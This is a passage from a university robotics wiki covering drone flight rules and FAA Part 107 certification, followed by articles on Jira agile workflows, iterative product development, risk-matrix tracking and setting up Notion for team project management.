of these rules, should consider flying under Part 107. - -When flying under this category, abide by the following rules: -1. Fly only for recreational purposes -2. Fly at or below an altitude of 400 feet. -3. Fly only over CMU property, or property that you own.** -4. Maintain a direct line-of-sight with the drone, or within line-of-sight of a visual observer, who can see the drone. -5. Fly only during the day, or at twilight if installed lights on the drone clearly distinguish its pose. -6. Never fly over any person or vehicle. -7. Give right of way to all manned aircraft. -8. Do not interfere with emergency response activities. -9. Never fly under the influence of drugs or alcohol. -10. Do not operate the drone in a careless or reckless manner. - - -** If you want to fly over any other land, including parks, contact the property owner and discuss flight operations before use. - -These rules are all subject to change and should be reviewed at the beginning of every Fall semester. A major change likely coming in the near future will include an online test to certify all operators. Additional rules are included in the Part 107 categorization and likely also apply to recreational fliers despite not being explicitly stated. - -### Fly Under Part 107 - -Part 107 is the main law for all small drone operations. It allows operators to fly anywhere allowable by local laws. Part 107 flying MRSD students should also consider this option if they’re planning on commercializing their project. - -In addition to the recreational fliers rules, Part 107 includes several other rules that most likely apply, but are not explicitly stated under the “Recreational Fliers” page. - -1. Operate only a single aircraft at a time. -2. Do not fly under a covered structure, or inside of a covered stationary vehicle. -3. Maintain an airspeed below 100 mph. -4. You can only carry an external load if it does not adversely affect the flight characteristics or controllability of the aircraft. Only transport property for compensation within state boundaries, and ensure the entire weight of the aircraft and payload is below 55 pounds. - -Any teams needing to fly outside of these rules should consider applying for a Part 107 waiver from the FAA. In order to receive permission, operators must demonstrate they can safely deviate from the operational parameters and maintain flight safety using alternative methods. Waiver options include the following: - -- Fly over a person or people. -- Fly from a moving aircraft or vehicle in populated areas. -- Fly at night. -- Fly beyond visual line of sight. -- Fly without a visual observer. -- Fly multiple drones simultaneously. -- Fly in controlled airspace. - -## Procedures - -### Fly as a Recreational Fliers or as part of a Modeler Community-Based Organization -1. Register the drone at https://faadronezone.faa.gov/# - - a. Select: “I Fly Under the Exception for Recreational Fliers” - - b. The registration fee is $5, and you will need the drone’s serial number - - c. Mark the drone with the registration number - -2. Request permission from CMU’s legal department - - a. Email drones@andrew.cmu.edu and fill out the form they send you. - - - Emphasize the project only receives funding to provide materials. - - Be specific with the use case and flight parameters. Areas students typically want to fly include the athletic fields, the Cut, and the Mall. - - -3. Discuss/Meet with the departments that control the space where you want to fly. - -Our team decided to fly over the football and/or soccer fields because they are open spaces. As such, we were directed to meet with the Associate Director of Athletics (Sara Gauntner). During our meeting, she recommended flying in the mornings or on weekends to avoid high pedestrian traffic. She asked us to check 25-Live to ensure the fields are not scheduled during our testing time and email her to reserve the fields. If any pedestrian does not respect our testing space, we can contact Sara, who will remove them from the field. - -### Fly Under Part 107 -In addition to the Recreational Fliers registrations, Part 107 operators must become an FAA-Certified Drone Pilot. This process should take place before registering the drone because your pilot number is required for Part 107 drone registration. - -#### Pilot Certification Process: -1. Obtain an FAA Tracking Number (FTN) by creating an Integrated Airman Certification and Rating Application (IACRA) profile prior to registering for a knowledge test. -2. Schedule an appointment with a Knowledge Testing Center which administers initial and recurrent FAA knowledge exams. Be sure to bring a government-issued photo ID to your test. -3. Pass the initial aeronautical knowledge test. Knowledge test topic areas include: - - - Applicable regulations relating to small unmanned aircraft system rating privileges, limitations, and flight operation - - Airspace classification and operating requirements, and flight restrictions affecting small unmanned aircraft operation - - Aviation weather sources and effects of weather on small unmanned aircraft performance - - Small unmanned aircraft loading and performance - - Emergency procedures - - Crew resource management - - Radio communication procedures - - Determining the performance of small unmanned aircraft - - Physiological effects of drugs and alcohol - - Aeronautical decision-making and judgment - - Airport operations - - Maintenance and preflight inspection procedures - - - > For test preparation materials, see the Further Readings - - -4. Complete FAA Form 8710-13 for a remote pilot certificate (FAA Airman Certificate and/or Rating Application) using the electronic FAA Integrated Airman Certificate and/or Rating Application system (IACRA)* - - 1. Register using the FAA IACRA system - 1. Login with username and password - 1. Click on "Start New Application" and - 1. Application Type "Pilot" - 1. Certifications "Remote Pilot" - 1. Other Path Information - 1. Start Application - 1. Follow application prompts - 1. When prompted, enter the 17-digit Knowledge Test Exam ID (NOTE: it may take up to 48 hours from the test date for the knowledge test to appear in IACRA) - 1. Sign the application electronically and submit for processing. - - -5. A confirmation email will be sent when an applicant has completed the TSA security background check. This email will provide instructions for printing a copy of the temporary remote pilot certificate from IACRA. - -6. A permanent remote pilot certificate will be sent via mail once all other FAA-internal processing is complete. - -7. Have your Remote Pilot Certificate available whenever you fly your UAS - - -## Summary -Obtaining all flight permissions and registrations under the Recreational Fliers ruleset is a straightforward procedure sufficient for most MRSD projects. If you have any questions about which ruleset you should follow, contact drones@andrew.cmu.edu for guidance. For up to date information, check the CMU drone's page at [https://www.cmu.edu/ogc/Guidance/drones](https://www.cmu.edu/ogc/Guidance/drones) and review the FAA Information under Further Reading. - - -## Further Reading - -### Part 107 Exam Material - -[https://www.faa.gov/uas/resources/policy_library/#107](https://www.faa.gov/uas/resources/policy_library/#107) - -[https://www.faa.gov/regulations_policies/handbooks_manuals/aviation/media/remote_pilot_study_guide.pdf](https://www.faa.gov/regulations_policies/handbooks_manuals/aviation/media/remote_pilot_study_guide.pdf) - - [https://faa.psiexams.com/faa/login](https://faa.psiexams.com/faa/login) - - [https://www.kingschools.com/free-faa-exam/drone-pilot](https://www.kingschools.com/free-faa-exam/drone-pilot) - - [https://jrupprechtlaw.com/part-107-test-study-guide/#first](https://jrupprechtlaw.com/part-107-test-study-guide/#first) - -### FAA Information - -[https://www.faa.gov/uas/recreational_fliers](https://www.faa.gov/uas/recreational_fliers) - -[https://www.faa.gov/uas/media/Part_107_Summary.pdf](https://www.faa.gov/uas/media/Part_107_Summary.pdf) - -[https://www.faa.gov/news/fact_sheets/news_story.cfm?newsId=22615](https://www.faa.gov/news/fact_sheets/news_story.cfm?newsId=22615) - -[https://www.faa.gov/uas/commercial_operators/part_107_waivers](https://www.faa.gov/uas/commercial_operators/part_107_waivers) - -[https://www.faa.gov/uas/commercial_operators/](https://www.faa.gov/uas/commercial_operators/) - -[https://www.faa.gov/uas/commercial_operators/become_a_drone_pilot/](https://www.faa.gov/uas/commercial_operators/become_a_drone_pilot/) - - - -/wiki/project-management/jira/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2021-11-28 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Jira Agile Development -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - -JIRA is a product management tool developed by Atlassian Inc. that can be used to track work and manage an agile project. All of the work to be done is logged in a centralized location for other members of the team to see. - -A ticket is something that needs to be worked on. Often a ticket is assigned to an individual to work on it. - - Here is [a link](https://www.beargroup.com/ideas/tutorials/ticketing-web-development) goes through a detailed idea as to what should be included on the ticket - - -> Do what is best for the team. Jira is a powerful tool that has the ability to cause extra work and detract from the development process. Below are some suggestions on how to use Jira, but do what allows your team to succeed. - - -#### Pricing -There is a free option of Jira that also allows up to 10 users. This works well for an MRSD project. - -More information about Jira pricing can be found at - - -#### Jira + Agile -Jira is used to manage sprints. A sprint is a short period of time where the team completes a small allotted amount of work. Using sprints allows a team to respond to changes quickly and improve their product rapidly. Sprints can be customized to be either 1, 2, 3 or 4 weeks. Usually, we have used 1-2 week sprints based on our milestones. These sprints are typically visualized on Jira Boards. - - - -#### Jira Active Sprints - -Jira active sprints demonstrate the work the team sets out to complete. They usually are represented as Jira workflows. A Jira workflow is the transition of statuses that would move a ticket from To Do to Done. The workflows are customizable. Each column on a Jira board represents different stages of the workflow. An example of a basic workflow would be To Do → In Progress → In Review → Done. Each column on the Jira board would represent a different status. Statuses should be clear as to the progress of the ticket in its column. Typically the different stages are defined as: - -*Backlog*: Work to be completed. Usually not portioned out into a sprint yet - -*Todo*: Work to be completed this sprint. This work has not been started. - -*In Progress*: Work that has been started but not put up for review yet. - -*In Review*: Work that has been completed but not peer-reviewed/Pull Requested. - -*Done*: Completed work. - -#### Jira Tickets -The Jira Kanban board/active sprint board is usually broken down into tickets. A Jira ticket holds information about the work needed to be completed. Jira tickets can include: - -*Issue Type*: More details below. - -*Summary*: the title of the ticket. This title is what appears on the ticket on the Jira board. - -*Attachments*: The attachments usually work best to add design pictures or logs. - -*Description*: This is the location that the user stories go. A description of the work to be done. Different teams design the description block differently. Usually, the requirements to complete the ticket should be clearly outlined. - -*Reporter*: Person who created the ticket. Usually, the person that questions the requirements should be directed to. - -*Linked Issues*: This is where to indicate if certain tickets are blocking or if this ticket blocks other tickets. It allows the work to be completed on an appropriate timeline, and help to highlight the order in which tickets must be worked on - -*Assignee*: The person to complete the work. - -*Priority*: The priority of this work. How important this ticket is compared to the others in this sprint. -Epic Link: (Story only) The epic this ticket belongs to. - -*Sprint*: The sprint this work is to be completed in. - - -#### Issue Type - -Tickets are designated different types to indicate what work needs to be done. The main types of tickets are bugs, tasks, and epics. - -This link details the different types of tickets and how to assign them: - - -*Epics*: Epics are large chunks of work that usually, but not necessarily, span over multiple sprints. They typically represent a feature or subsystem. They tend to be large themes or goals for the teams to complete. Epics are usually broken down into stories. - - -*Story*: Stories often represent requirements to complete an epic. - -*Tasks*: This usually represents a technical activity like creating a diagram or testing a system. - -*Bugs*: Tickets designed to represent bugs that should be fixed during the sprint. - -Our team has created epics based on our work breakdown structure. For example, an epic we have created is Designing the Perception System. The design perception system epic contained several tickets in the form of stories. An example of one of the stories from this epic is `Create a design document to improve object detection.` - - -#### Jira Story Points - -Story points are usually used to estimate work. In particular the amount of work that a particular story is expected to be. There are multiple methods to estimate work. Each method has positives and negatives, so the method used is often team-dependent. - -Each person usually has a maximum allotted number of story points to complete a sprint. - -#### Jira Roadmaps - -Jira has the capability to create roadmaps or schedules based on epics. This allows the Project manager to plan multiple weeks at a time. - -#### Jira + Github Integration -This is a free functionality that allows Jira to integrate with Github. Once you follow the steps indicated in this link to set up the integration: - - - -This gives the ability to see Github information inside a Jira ticket. - -To attach a branch to a Jira ticket, you will need to include the ticket name. For example: - -If PS-223 is the ticket number, we would need to name our branch something like `feature/PS-223-write-logger` for it to link. Adding PS-223 connects the branch to the PS-223 ticket. This will allow the Jira ticket to display the number of branches and pull requests. Note! It needs to contain the ticket number with the format “BOARD-###” otherwise it will not link. - -#### Jira Automation -Jira has the ability to automate activities that are done often through triggers and rules. There are multiple options including custom options. One possibility is when a branch is created for a ticket that is in “TODO” then Jira should move the ticket to in progress. Another example would be when all the pull requests are closed for a Jira ticket, Jira should move the ticket to the done column. - -These examples allow for the Jira board to stay up to date without developer intervention. - -Some more example automation possibilities can be found here: - - - -#### Burndown Chart - -The burndown chart is a popular chart among project managers. This allows the PM to view how the work is progressing over a sprint and the work is not falling behind. It displays the days in the sprint by the story points allocated for that sprint. This can be found in Reports → Burndown Chart. The goal is to have the remaining work track the Guideline. - -![Example Burndown Chart](/assets/images/project-management/jira_burndown_chart.png) - -## Summary -In summary, Jira is a powerful tool for agile development. There are numerous features that can help a project be propelled to success. This article only lists a few features. Use whichever features work best for your team. - - - -## See Also: -- To learn more about project management see [Product Development in Complex System Design](https://roboticsknowledgebase.com/wiki/project-management/product-development-complex-systems/) - - -## Further Reading -- Learn more about the basics of Jira [here](https://www.guru99.com/jira-tutorial-a-complete-guide-for-beginners.html). In addition,[this website](https://wiki.onap.org/pages/viewpage.action?pageId=6592023) provides practical usage suggestions. - -## References -[1] Atlassian, “Jira pricing - monthly and annual subscription cost per user,” Atlassian. [Online]. Available: . [Accessed: 28-Nov-2021]. - -[2] Atlassian, “Jira Software Automation: Common use cases,” Atlassian. [Online]. Available: . [Accessed: 28-Nov-2021]. - -[3] E. Goodeve, “How writing effective jira tickets can streamline web development: Bear Group,” How to Write Effective Jira Tickets and Improve Your Web Development | Bear Ideas. [Online]. Available: . [Accessed: 28-Nov-2021]. - -[4] G. Lanilis, “Jira how to?,” Jira How to? - Developer Wiki - Confluence, 2017. [Online]. Available: . [Accessed: 28-Nov-2021]. - -[5] “Integrate with github,” Atlassian Support, 19-Nov-2021. [Online]. Available: . [Accessed: 28-Nov-2021]. - - -/wiki/project-management/product-development-complex-systems/ ---- -date: 2017-08-21 -title: Product Development in Complex System Design ---- -## History (Waterfall Model) -Before iterative design became an industry standard in product development the waterfall model was largely popular. The waterfall model originated in industries that are highly structured physical environments such as manufacturing and construction where changes to the design after building are incredibly expensive if not physically impossible to do. The waterfall method is made up of a conceptualizing, initializing, analysing, designing, constructing, testing and implanting/producing and maintaining phase[1]. - -It is important to note each phase in the waterfall model appears only once in this process. After the product is designed and analysed to theoretical satisfaction it is locked in. Any missteps that become evident after construction can, often, not be changed. Developers using this method have no opportunity for recourse. As the time and financial investment increase the ease of design changes diminishes; such is the case early in the waterfall method. It is for this reason that an iterative design model and prototyping are powerful tools, particularly when developing complex systems. - -While this is a mechatronic design class what we are tasked to develop is a prototype for a product. Thus its design should have people and the environment it will exist in in mind. It is also for this reason that product development methods utilized in industry are highly relevant to this process. - -Iterative design process is made up of 6 steps: ideate, design, construct, test, improve and iterate [2]. The more this process is repeated the higher the quality of the finished product’s design. However, there is point where this process begins to produce diminishing returns for the time and financial investment it requires thus careful consideration needs to be made with every cycle as to what more the team expects to learn by repeating the process. The more trivial the insights become the more likely you are to having reached the point of diminishing returns. - -## Ideation -The first step in this process is ideation. This phase has a high impact on final achieved design quality. The goal at this stage is to have a high quantity of design solutions to choose from. All suggestions need to be made without fear of judgement because of the impact that one idea may have on another. This in terms of sparking a second superior idea from another team member as well as the original team member continuing to contribute to the ideation process. Studies like integrated product development implement techniques that encourage developers to think of the problem through different assignments or lenses. The first assignment is to think of the social, economic and technological factors that exist and are related to the product[3]. Under social an example would be the apprehension that some people have towards close human-robot interaction for fear of harm. Under economic an example would be: countries like Dubai invest heavily in structural expansion and favour taller buildings. And under technological one could identify various advancement in robotic technology such as machine learning. - -A second lens that the product can be viewed in is in terms of value opportunity attributes. This challenges developers to think of who the key stakeholders or users of this product are and what their desires would be. Stakeholders for a robot could include robot operators, companies that purchase the robot or hire the robot providing service and people that directly engage or exist in close proximity to the robot. Once the most important stakeholders have been identified the group should define and rank the features that these stakeholders would find most important in the product. There is an already established list of attributes that have been identified for product development purposes but the list needs to be made specific to individual use cases through attribute definitions [4]. - -The third tool in the ideation process is to evaluate opportunity gaps using the insights garnered in the first two steps. At this stage one is looking for areas that are under addressed by existing technology and solutions [5]. This is done because there are often several ways to solve a single identified problem and this helps focus the team on creating the best solution to meet one or two of the most valuable of these under addressed areas. For instance, if the goal is clean windows without human involvement one might literally build a robot that cleans using traditional processes (sponge, cleaning solution, etc) or a programmable system that redirects rain water in such a way that it would clean the window could address the problem too. The latter is of course also a robot. Identifying opportunity gaps helps get the team to a unique solution addressing the most urgent needs in the problem space and allowing for the team to unify their skillsets behind it. Looking at opportunity gaps will ultimately allow for the largest scope of creative solution production with a single problem in mind. At this stage a team should come up with over 100 opportunity gaps for addressing a single problem. - -## Solution Generation -With all this pre-solution work having been completed the team will have built up a wealth of early knowledge that they can use to generate solution. From this point the ideation process falls into generating ideas. There are various methods that exist for brainstorming as an individual and as a team. In teams processes like round robin-- where team members are put on the spot in turn to come up with an idea for a solution—and the 635 method—where 6 people are tasked to come up with and develop 5 ideas through 3 iterations [6]. - -After the solution generation phase is complete the team needs to apply reduction criteria to narrow their options down to their top solutions. This is often done using a decision matrix that the team creates including consideration like cost, time, availability, etc. The identified criteria can be weighted based on importance to ensure a more reliable outcome. Other options for reduction include a democratic vote and conversation amongst the group. The latter has the advantage of providing further insight into team members’ thinking. This portion of the iterative process can be revisited as needed later on. - -After the ideation process is complete it is time to design the solution. Referral to the SETs, VOAs and the chosen POGs as well as the idea generating techniques discussed in the above paragraph is very useful. Trade studies can also provide valuable insight at this stage. It is important to keep the problem as the focus of the process and not the solution. This will help keep the group on track and not accept design ideas that seem brilliant but fail to address the identified requisites of the product. In addition, this is the first stage that will intentionally be repeated numerous times in the iterative process. Between each prototyping stage the group should test their prototype, improve their design and prototype again. - -## Prototyping -Once the initial design is formulated the team should engage in prototyping. Prototyping is described as coming in 3 form: low fidelity, medium fidelity and high fidelity [7]. The core difference between these is the time and financial input they require as well as the types of insights that can be garnered from them. Early on in the iterative cycle it is imperative to keep financial and time input low. This is because the ability and willingness of the group to change design ideas is inversely proportional to these 2 factors. One should expect that their design is not perfect early on and thus high commitment should be avoided. Low fidelity prototypes should be created first, followed by medium fidelity and lastly high fidelity prototypes. The team should engage in reflection of what lessons or discoveries have been made after each prototype and keep note of these. This helps in thinking of what areas to improve and protects them from recommitting former design mistakes that have been discovered in far earlier iterations. - -Low fidelity prototype is a quick and easy translation of your design into a physical artifact. This level of fidelity includes easy to shape materials such as foam core, cardboard and wood. The time commitment is a matter of minutes or hours and low dollar financial investment. In the case of a robot it will likely give you insights into how systems will interact with each other as well as giving the team an idea of movement. If there is a human interaction perspective that needs to be considered, for example in terms of graphic user interfaces, this is a fidelity level that can give high output for low input as people have the ability to quickly bridge the gap between the basic prototype they are presented with to the higher level envisioned. Because it is cheap and easy groups should look to exploring as many of their top ideas as possible utilizing this level of fidelity. On the software control side low fidelity may include process flow or finite state machines written out on paper and mirrored by physically moving or manipulating the prototype. - -A mid fidelity prototype is comprised of harder to form materials and, in some cases, materials that are under consideration for the final prototype. There are two versions of prototyping at this level: narrow scope in terms of prototyped capability but great depth in terms of functionality or wide scope in terms of prototyped capability but very shallow functionality. Which type you engage in is dependent on what you hope to learn from your prototype. One can expect a higher financial investment (on the order of tens or hundreds of dollars) and time investment on the order of hours if not days. At this level Rapid prototyping methods such as 3D printing and computer aided design as well as cheap part sourcing are usually utilized. Using CAD you are then able to conduct stress analysis and get insight into the material properties your final product will have. Through 3D printing you are able to create complex shapes (such as racks and pinions) and again see sub system interaction using a more robust material. Semi-final design contenders should be prototyped and iterated a limited number of times on this level. At this point you have begun to make some commitment to a final design but the time and money investment level still leaves room for pivoting as necessary. At this stage functional coding can be incorporated where appropriate to test basic movement control of the robot and identifying limiting mechanical constraints that need to be investigated for the highest level fidelity to work. - -When one reaches a high level fidelity level of prototyping the design should be well iterated upon. All discoveries that could have been made without utilizing final materials should have been made. It is at this stage that you are likely to be locked into your design thus you must have done everything possible before hand to ensure this is the best design. High fidelity prototypes happens using materials identified to be used in the final product where possible. If the real material is not accessible for some reason substitutes need to be carefully considered such that they give the closest physical result to the real material. Traditional manufacturing methods (eg: turning, milling, etc) or part sourcing is utilized at this stage. In general, this prototype should happen as close to final product specifications as possible. The software should have the same high quality finish as the physical prototype (ie: programmed to near finished state). This serves as your final proof of concept for your product design. While an iteration can be done for this level of fidelity the team should accept that smaller changes may only be accessible at this point. - -## Conclusion -In conclusion, while this process was created for industries where usability and design are central to the products made, the iterative design process is becoming a widely accepted industry standard. High fidelity mistakes are expensive. Companies have seen immense value in failing fast and failing cheap thus time and effort should be directed towards the ideation, design and lower fidelity prototyping. Throughout this process it is imperative to fall in love with the problem and not the solution, this mind-set will deliver the best product solution. There is good reason to engage with and practice this method of development in a classroom setting where stakes and consequences are still minimal. - -## References: -1. https://en.wikipedia.org/wiki/Waterfall_model -2. https://en.wikipedia.org/wiki/Iterative_design -3. Cagan, Johnathan and Vogel, Craig M.. 10/22/2001. Creating Breakthrough Products. Pearson Education. New Jersey, USA -4. Cagan, Johnathan and Vogel, Craig M.. 10/22/2001. Creating Breakthrough Products. Pearson Education. New Jersey, USA -5. Cagan, Johnathan and Vogel, Craig M.. 10/22/2001. Creating Breakthrough Products. Pearson Education. New Jersey, USA -6. 25 Useful Brainstorming Techniques. [http://personalexcellence.co/blog/brainstorming-techniques/](http://personalexcellence.co/blog/brainstorming-techniques/) -7. Nielson, Jakob. 03/03/1992. The Engineering Usability Lifecycle. Morgan Kaufman. CA, USA - -I would recommend site 6 as a resource because I have found many of the exercises mentioned on this list useful for unlocking more creative thinking. The best solutions are not usually those thought of first or that come easily, they are those that have outcompeted a plethora of other good ideas and won. The deeper that you dive into the ideation or creative process the better the quality of your final idea. - - -/wiki/project-management/risk-management/ ---- -date: 2017-08-21 -title: Risk Management ---- -Risk management is an important process, but can easily turn into an exercise in making a list of items that people think about once and never look at again. There can be little accountability and - if only listed by name with a nebulous category - no real grasp of the risks' impact or what should be done about them. - -A lot of this comes down to a lack of decent tools and of using those tools consistently. In standard risk management, risks can be split up into probability and severity. Also helpful to track are the dates on which risks are first identified, what part of a project they impact, their actual impact(an expansion on severity from a letter code to what actually could happen), what mitigation has been taken, and what the risk is after mitigation. - -Probabilities and severities are usually tracked by numbers or letters. In my implementation I followed the GOV standard of probability being a number and severity being a letter for ease of understanding though unlike GOV, I made both categories increase with their numbers rather than having severity be an inverse. I personally find it easier to understand a 5A or a 3C - especially when said out loud. Changing it to make both categories ascend also feels more intuitive and is much easier to implement in a spreadsheet! - -## Probabilities -The probabilities are: -1. **Rare** - The outside limit of possibility. Something usually only noted if it has a higher level of severity and so needs to be evaluated despite being an outside chance. -2. **Unlikely** - An event that with all likelihood won't happen but under poor circumstances might occur. -3. **Possible** - Might happen, might not. -4. **Likely** - Even under favorable circumstances still has a decent chance of occurring. -5. **Nearly Certain** - It's going to happen unless the team gets extremely lucky or mitigates. - -## Severities -The severities are: -- **A. Negligible** - Even if it happens, the impact to the project or system is a very minor concern. At higher likelihoods might be worth mitigating just to remove an easily avoided nuisance. -- **B. Low** - A severity where the degradation of the system might be effect something the user needs or the cost/schedule overrun for the project represents a quantity that will make other development more difficult. -- **C. Moderate** - Significant degradation of a subsystem that could be as bad as 50% loss of a function on the system or an overrun that threatens to disrupt the rest of the process. -- **D. Severe** - An entire function being disabled or an overrun that could send the project significantly over budget or time -- **E. Catastrophic** - Destruction of the system or cancellation of the project if this risk occurs. - -These probabilities and severities can sometimes be named somewhat differently, but the basic idea is the same and rarely does a matrix have more than five of either. If a high likelihood and a high risk coincide, that is a suggestion that the project or product itself may be untenable. For instance, identifying a 5E at the start of a project might mean it's time to find a new project. - -## Actions -Combinations of probabilities and severities create an action. As with the previous, there are five broad categories of action: - -- **No action:** A risk that was identified but then either adjudicated or mitigated as not worth further consideration and is safe to ignore until all higher level actions have been cleared or just ignored completely until the risk changes due to a re-evaluation based on it actually happening (vaulting a 1 to a 5 in development for instance, though in field operations it may not change the probability at all) or having more impact than expected. -- **Monitor:** A risk that is on the edge. Monitor means that the risk could cross the line into being a problem that needs to be addressed or to become a No Action and no longer a concern. Monitors should be addressed once all higher level actions have been cleared as a matter of caution. -- **Action:** Needs to be addressed or mitigated. These risks comprise the group on the line that divides your risks in half, where p = -s or high probability, low severity and low probability, high severity with the moderates of both in the middle. These are generally the most common risks being mitigated at any given time, as they're the ones that even the best process will generate. -- **Urgent Action:** Urgent actions may seem very rare given that only two states can produce them, but possible catastrophic and nearly certain moderate are two combinations that come up when spending time investigating a process or product. The first is the "Yeah, that happens a lot and is such a problem." (ex. MS Vista crashing). And the "Can it happen? Yeah... We'd better fix that." (ex .Any given house in a neighborhood being struck by lightning). -- **Immediate Action:** A drop-everything problem. Only happens when a high probability meets a high severity. Immediate because the risk means that not mitigating means the project or product will longer satisfy requirements. In other words, "If we don't fix this, the project is over." or "If we don't fix this, no one will buy our product." (ex. GM knew their ignition switches were dangerous and did not recall, an Immediate Action that was not mitigated). - -> As suggested in some of the actions, the idea is to start with the worst and work backwards. Don't expect to clear your matrix entirely, but if all you have are Monitors and No Actions, then you're in very good shape. - -Tracking the date increases accountability. When a project knows how long a risk has been on the books without mitigation helps them understand their process and how tough a risk is. It also helps a group feel like the risk needs to be worked on because it's been there for that long. There is also the possibility that the risk will be left on the chart for a long time and the team has reconsidered or forgotten about it, so it's good to know what phase the project was in when the risk was identified. - -**Mitigating risks** is a topic of its own. The mitigation is often associated with the action, as mitigating a risk can go as far as eliminating or removing the risk, though they are not all the same thing. For the purposes of the MRSD project, consider them basically the same thing and track what was done about a risk. These actions can reduce risks to lower categories or remove them entirely from the sheet, though archiving risks that have been mitigated or eliminated is a good morale boost. - -**Impact Type/Location** is what kind of risk it is (schedule, cost, physical, cybersecurity, etc), and what phase, subsystem, or operational requirement it affects. These can be tracked as separate categories if there's a lot to say, and can even be linked to the WBS/SSS or Gantt chart to show where risks are showing up. The tools to do so are a bit more involved and I haven't implemented them myself yet. - -Below is a risk matrix and tracker made with some of the risks identified early in a Carnegie Mellon MRSD Project. It will take risks and display their overall values automatically in the second sheet, and output an aggregate risk matrix to the first sheet. After-mitigation risk level is not implemented, but can be kept in the comments section, and the original risk updated once mitigation has been implemented with a note as to how the mitigation affected the risk. -- [MRSD Risk Matrix & Tracker](/wiki/project-management/assets/MRSD_Risk.xlsx) - - -/wiki/project-management/using-notion-for-project-management/ ---- -date: 2023-12-04 -title: Using Notion for Project Management -published: true ---- - -Effective project management is crucial to the long-term success of any project, and there are various free tools that small teams (3-8 members) can use to effectively manage their project. - -This document is a tutorial on how to use one such tool, Notion, for Project Management. [Notion](https://www.notion.so/product) is a documentation and task-tracking platform that can be significantly useful in managing different aspects of a project. The first half of this document details how to set up and use Notion for Project Management. The second half then introduces various project management strategies that teams can use to improve their project management process. - -> It is the project manager’s role to ensure that all aspects of the project are planned for and appropriately tracked throughout the life of the project. There should be at least one member in the team that assumes this role (could be in addition to other roles). - - -## Setting up a Notion Teamspace -Individual university students and teachers who associate their accounts with their school email addresses can get Notion’s Plus Plan for free. With this plan, one member in the team can host a teamspace which can be accessed and edited by upto 100 guests (Notion users). Here are the steps to set up Notion for your team: - -1. **Create a Notion account with your educational email ID.** -2. **Create a Notion team space.** - - Inside your Notion workspace, click on the 'Settings & members' option on the top-left of the screen. - - Under 'Settings', navigate to 'Teamspaces' and create a new team space. -3. **Add team members to your new team space.** - - Go to the home page of your team space. - - On the top-right of the screen, click on the ‘Share’ button. - - Enter the email IDs of your team members and click ‘Invite’ to share the team space with them. Make sure the permissions allow invited members to access and edit the team space. -4. **Each member invited should now have access to view and edit the team space.** - - While this space is hosted on an individual’s Notion account, it is still a common team space which can be used by all members of the team (added as guests to the teamspace on Notion). - -**Note:** The above method does not lead to a private teamspace on Notion. You will need to upgrade to Notion's premium plan in order to convert this to a private teamspace (only members can see the teamspace exists). - - -## Notion Project Management Template -Here is a [simple Notion project management template](https://short-gatsby-680.notion.site/Dummy-Project-47645eb16177425d932332db325d0233?pvs=4) that you can use for your project. It contains the major sections that are needed to effectively manage your project. -- To use the entire template in your project, just click on the 'Duplicate' button on the top-right of the home page. -- To use a particular section of the template in your project, navigate to the section that you would like to use (for eg. Meeting Notes) and then click on the 'Duplicate' button on the top-right of the page. -- When prompted where you would like to duplicate the tempalte to, select your teamspace. - - - -### Meeting Notes -Maintaining a section for meeting notes is critical to project management. Details of major internal discussions within the team, or external discussions with project sponsors, users or other stakeholders should be documented in this section. An advantage of Notion is that it enables filtering and sorting meeting notes based on date, type or any other category that is used. Teams can use this feature to their advantage for quickly filtering out key information from a prior meeting. - -To effectively organize meetings on Notion, create a new page on Notion and select a Table template. Connect a new database to your Table where you can add meeting notes (example below). The Notion Project Management template shared above includes the meeting notes section as well. - -A standard meeting notes document should have the following indexing sections: -- Meeting Date -- Meeting Participants -- Meeting Type - -A standard meeting notes document should have the following content-sections: -- Meeting Agenda -- Meeting Notes -- Meeting Outcomes -- Action Items - - -Here is an example of maintaining meeting notes on Notion. - -![Meeting Notes List](/assets/images/project-management/meeting-notes.png) - - -### Task List -Another critical aspect of project management is managing work and schedule. After completing the system design phase of a project, it is important to create a Work Breakdown Structure (WBS) that includes all tasks that need to be completed to meet the project goals. On a shorter-horizon, these can be tasks towards a specific milestone / sprint. - -Notion makes it easy to track the progress of such tasks over time. It allows creation of task cards to be added to a Kanban board-type view, or simpy organized in a tabular form. A really useful feature here is that Notion enables filtering and sorting tasks based on date, type, assigned person or any other category that is used. Teams can use this feature to their advantage for quickly filtering out key information from a list of tasks. - -To effectively organize tasks on Notion, create a new page on Notion and select a Table template. Connect a new database to your Table where you can add tasks (example below). Similarly, add a Timeline section to automatically create the project schedule after adding task details in the database. The Notion Project Management template shared above includes the task list section as well. - -A standard task card should have the following indexing sections: -- Assignee -- Start Date -- Due Date -- Type -- Status - -A standard task card should have the following content-sections: -- Objectives -- Scope -- Evidence of Completion - -Here is an example of tracking tasks on Notion. -![image2.png](/assets/images/project-management/task-list.png) - - - -### Project Schedule -Notion automatically converts your task list to a timeline format (Gantt chart). However, Notion can only do this to tasks that have a start date and end date defined. Additionally, you can edit the task list to add dependencies between tasks. - -Here is an example of managing a project's schedule on Notion. -![Picture2.png](/assets/images/project-management/project-schedule.png) - -> While coming up with a project schedule, make sure that you keep external milestones and delivery dates in mind. It is a good practice to come up with intermediate internal milestones enroute external milestones. The image below shows an example of how you can keep track of milestones for your project. -![Picture5.png](/assets/images/project-management/milestones.png) - - - - -### Documentation -Like meeting notes and task management, documenting team ideas, decisions, observations and results is significant to successful project management. While a lot of information can be documented through meeting notes, the work that happens outside of meetings may be better documented in a separate section. Notion provides ample options to filter, sort and categorize your documents into various types and categories, so feel free to be creative when setting up your Documentation section. - -Here are some ideas for what you can document on Notion -- Meeting Notes (if not already a separate section) -- System Design documents -- System Testing documents -- Useful links and resources - -To effectively document the above on Notion, create a new page on Notion and select a Table template. Connect a new database to your Table where you can add documents (example below). The Notion Project Management template shared above includes the task list section as well. - - -### Project Logs - -Another important form of documentation that teams should keep in their project management arsenal are project logs. These are critical to managing project progress on a daily basis, and can be a useful technique for members to structure their thoughts and observations in a common place. - -Here are some ideas for what you can log on Notion -- Individual Progress Logs -- Issues Log -- Risks Log -- Decisions Log - -A project logs page can be created on Notion using the standard ‘Table’ template with a new database. The Notion Project Management template shared above includes the Project Logs section as well. - - -## Effective Project Management Strategies - -### Weekly Meetings -Deciding and committing to specific meeting times every week is one of the first actions a team should perform. Use Google Calendar (or MS Teams) to set up weekly meeting slots and invite all team members. - 